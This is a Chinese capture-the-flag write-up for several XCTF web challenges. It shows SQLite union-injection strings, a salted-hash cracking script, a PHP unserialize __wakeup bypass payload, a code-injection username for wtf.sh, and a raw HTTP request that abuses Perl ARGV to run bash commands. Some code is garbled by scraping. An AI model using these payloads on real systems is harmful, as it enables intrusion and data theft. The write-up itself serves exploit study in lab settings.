攻防世界(XCTF)WEB(进阶区)write up(三)

攻防世界(XCTF)WEB(进阶区)write up(三),第1张

概述挑着做一些好玩的ctf题              FlatScience web2 unserialize3 upload1 wtf.sh-150 ics-04 web i-got-id-200               FlatScience 扫出来的login.php       查看源码,发现参数debug,传参?debug=1,得到如下代码:   <?php if(isset($_

挑着做一些好玩的ctf题

 

 

 

  

 

 

FlatScIEnce

web2

unserialize3
upload1
wtf.sh-150
ics-04
web i-got-ID-200

 

 

 

 

 

 

 

FlatScIEnce

扫出来的login.@R_419_6952@

 

 

 

查看源码,发现参数deBUG,传参?deBUG=1,得到如下代码:

 

<?@R_419_6952@ if(isset($_POST[‘usr‘]) && isset($_POST[‘pw‘])){         $user = $_POST[‘usr‘];         $pass = $_POST[‘pw‘];         $db = new sqlite3(‘../fancy.db‘);                  $res = $db->query("SELECT ID,name from Users where name=‘".$user."‘ and password=‘".sha1($pass."Salz!")."‘");     if($res){         $row = $res->fetchArray();     }     else{         echo "<br>Some Error occourred!";     }     if(isset($row[‘ID‘])){             setcookie(‘name‘,‘ ‘.$row[‘name‘],time() + 60,‘/‘);             header("Location: /");             dIE();     } } if(isset($_GET[‘deBUG‘])) highlight_file(‘login.@R_419_6952@‘); ?> 

 

 

 

 

开始sqlite3注入。

usr=1‘ union select name,sql from sqlite_master--+&pw=1

 

 

 

 

sql字段为sqlite自带的结构表sqlite_master中的一个字段  返回创建表的语句 我们可以有哪些表

CREATE table Users(ID int primary key,name varchar(255),password varchar(255),hint varchar(255))

出现了表名和表中的字段了  具体可以查询字段 

usr=%27 UNION SELECT ID,ID from Users limit 0,1--+&pw=qingusr=%27 UNION SELECT ID,name from Users limit 0,password from Users limit 0,hint from Users limit 0,1--+&pw=qing

 

查询语句的password就是对密码+salt进行了sha1

我们登陆的话应该需要利用sha1函数和salt找出密码

admin的hint是 +my+fav+word+in+my+fav+paper?!,密码很可能就藏在pdf文件

 

爬取站点中所有的pdf文件,总共30个

然后用脚本进行解析处理,并用sha1函数与加密的密码进行碰撞已找出正确的密码,拿大佬的脚本:

from cStringIO import StringIOfrom pdfminer.pdfinterp import pdfResourceManager,pdfpageInterpreterfrom pdfminer.converter import TextConverterfrom pdfminer.layout import LAParamsfrom pdfminer.pdfpage import pdfpageimport sysimport stringimport osimport hashlib def get_pdf():    return [i for i in os.Listdir("./") if i.endswith("pdf")]  def convert_pdf_2_text(path):    rsrcmgr = pdfResourceManager()    retstr = StringIO()    device = TextConverter(rsrcmgr,retstr,codec=utf-8,laparams=LAParams())    interpreter = pdfpageInterpreter(rsrcmgr,device)    with open(path,rb) as fp:        for page in pdfpage.get_pages(fp,set()):            interpreter.process_page(page)        text = retstr.getvalue()    device.close()    retstr.close()    return text  def find_password():    pdf_path = get_pdf()    for i in pdf_path:        print "Searching word in " + i        pdf_text = convert_pdf_2_text(i).split(" ")        for word in pdf_text:            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()            if sha1_password == 3fab54a50e770d830c0416df817567662a9dc85c:                print "Find the password :" + word                exit() if __name__ == "__main__":    find_password()

 

admin的密码为:ThinJerboa

 

 

 

 

 

 

 

 

 

 

 

 

 

web2

NSCTF

 

 

 

<?@R_419_6952@$miwen="a1zLbgQsCESEiqrLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){    $_o=strrev($str);    // echo $_o;            for($_0=0;$_0<strlen($_o);$_0++){               $_c=substr($_o,$_0,1);        $__=ord($_c)+1;        $_c=chr($__);        $_=$_.$_c;       }     return str_rot13(strrev(base64_encode($_)));}highlight_file(__file__);/*   逆向加密算法,解密$miwen就是flag*/?> 

 

 

 

 

逆出来的代码:

<?@R_419_6952@$str=‘a1zLbgQsCESEiqrLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws‘;$_ = base64_decode(strrev(str_rot13($str)));$_o=NulL;for($_0=0;$_0<strlen($_);$_0++){                 $_c=substr($_,1);          $__=ord($_c)-1;          $_c=chr($__);          $_o=$_o.$_c;       } echo strrev($_o);?>

 

 

 

 

 

 

 

 

 

 

 

 

unserialize3

一道很简单反序列化

<?@R_419_6952@class xctf{ public $flag = ‘111‘;public function __wakeup(){exit(‘bad requests‘);}?code=

 

 

code我们可控   

 

 

 

直接把序列化了的传入code显示bad

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

这次传入:

O:4:"xctf":3:{s:4:"flag";s:3:"111";}

 

 

 

 

 

 

 

 

 

 

 

 

 

upload1

前端验证不说了

 

 

 

 

 

 

 

 

 

 

 

 

wtf.sh-150

csaw-ctf-2016-quals

有点神仙题 后半不看wp做不出来

本来可以登录和评论  测了大把时间登录和留言xss  莫得用

 

 

 

 

有参数就fuzz  看看有没有注入之类的 发现是有目录遍历漏洞

 

 

 

 

 

发现源码 可是太多了  直接查找和flag有关的那段。

 

 

 

 

 

 

源码:

 

<HTML><head>    <link rel="stylesheet" type="text/CSS" href="/CSS/std.CSS" ></head>$ if contains ‘user‘ ${!URL_ParaMS[@]} && file_exists "users/${URL_ParaMS[‘user‘]}"$ then$   local username=$(head -n 1 users/${URL_ParaMS[‘user‘]});$   echo "<h3>${username}‘s posts:</h3>";$   echo "<ol>";$   get_users_posts "${username}" | while read -r post; do$       post_slug=$(awk -F/ ‘{print $2 "#" $3}‘ <<< "${post}");$       echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | HTMLentitIEs)</a></li>";$   done $   echo "</ol>";$   if is_logged_in && [[ "${cookieS[‘USERname‘]}" = ‘admin‘ ]] && [[ ${username} = ‘admin‘ ]]$   then$       get_flag1$   fi$ fi</HTML>

 

 

 

 

看到了admin才可以有flag   源码里发现有user目录

 

 

 

发现token值是存储在user目录中的,所以能够进行token伪造
admin:

 Posted by admin ae475a820a6b5ade1d2e8b427b59d53d15f1f715 uYpiNNf/X0/0xNfqmsuoKFEtRlQDWNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w== 

 

 

第一串东西发现是密码的 sha1,不过对做题没有什么帮助

 

 

 

 

 

user参数这里要注意下   多看看f12没得错

 

 

 

 

 

接着看到有趣的代码:

function reply {    local post_ID=$1;    local username=$2;    local text=$3;    local hashed=$(hash_username "${username}");    curr_ID=$(for d in posts/${post_ID}/*; do basename $d; done | sort -n | tail -n 1);    next_reply_ID=$(awk ‘{print +1}‘ &lt;&lt;&lt; "${curr_ID}");    next_file=(posts/${post_ID}/${next_reply_ID});    echo "${username}" &gt; "${next_file}";    echo "RE: $(nth_line 2 &lt; "posts/${post_ID}/1")" &gt;&gt; "${next_file}";    echo "${text}" &gt;&gt; "${next_file}";    # add post this is in reply to to posts cache    echo "${post_ID}/${next_reply_ID}" &gt;&gt; "users_lookup/${hashed}/posts";}

 

这是评论功能的后台代码,这部分也是存在路径穿越的。

这行代码把用户名写在了评论文件的内容中:

echo "${username}" > "${next_file}";

通过上面的分析:如果用户名是一段可执行代码,而且写入的文件是 wtf 格式的,那么这个文件就能够执行我们想要的代码。 (而且wtf.sh只运行文件扩展名为.wtf的脚本和前缀为‘$‘的行)

先普通地评论一下,知晓评论发送的数据包的结构,在普通评论的基础上,进行路径穿越,上传后门sh.wtf

 恶意代码 注册时候:

${find,/,-iname,get_flag2}

 

 

 

 

 

 

ics-04

普通的注入题而已 略过

Flag:
cyberpeace{f806dac1f9e60f3b2bc4e610cb21d861}

 

 

 

 

 

web i-got-ID-200

这道题考察perl语言漏洞

 

 

点击files有个可以上传文件的地方,随便上传一个文件

页面上将文件内容显示了出来

 

 

 

 

 

 

看源码知道是pl   perl写的代码

 

 

 

 

 

 

 perl上传的代码:

my $cgi= CGI->new;if ( $cgi->upload( file ) ){my $file= $cgi->param( file );while ( <$file> ) { print "$_"; } }

 

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。

 

而对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。

 

ARGV是PERL默认用来接收参数的数组,不管脚本里有没有把它写出来,它始终是存在的。

 

这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。

 

所以尝试构造:

 

 

 

多命令执行:

POST /cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/| http/1.1Host: 111.198.29.45:35148User-Agent: Mozilla/5.0 (windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 firefox/56.0Accept: text/HTML,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-EnCoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------238732662231850Content-Length: 435-----------------------------238732662231850Content-disposition: form-data; name="file"ARGV

 

 

 

 

 

 

 

提一下这里的管道符号 将其输出结果用管道传输到读入流中 

总结

以上是内存溢出为你收集整理的攻防世界(XCTF)WEB(进阶区)write up(三)全部内容,希望文章能够帮你解决攻防世界(XCTF)WEB(进阶区)write up(三)所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/web/1030958.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-23
下一篇 2022-05-23

发表评论

登录后才能评论

评论列表(0条)

保存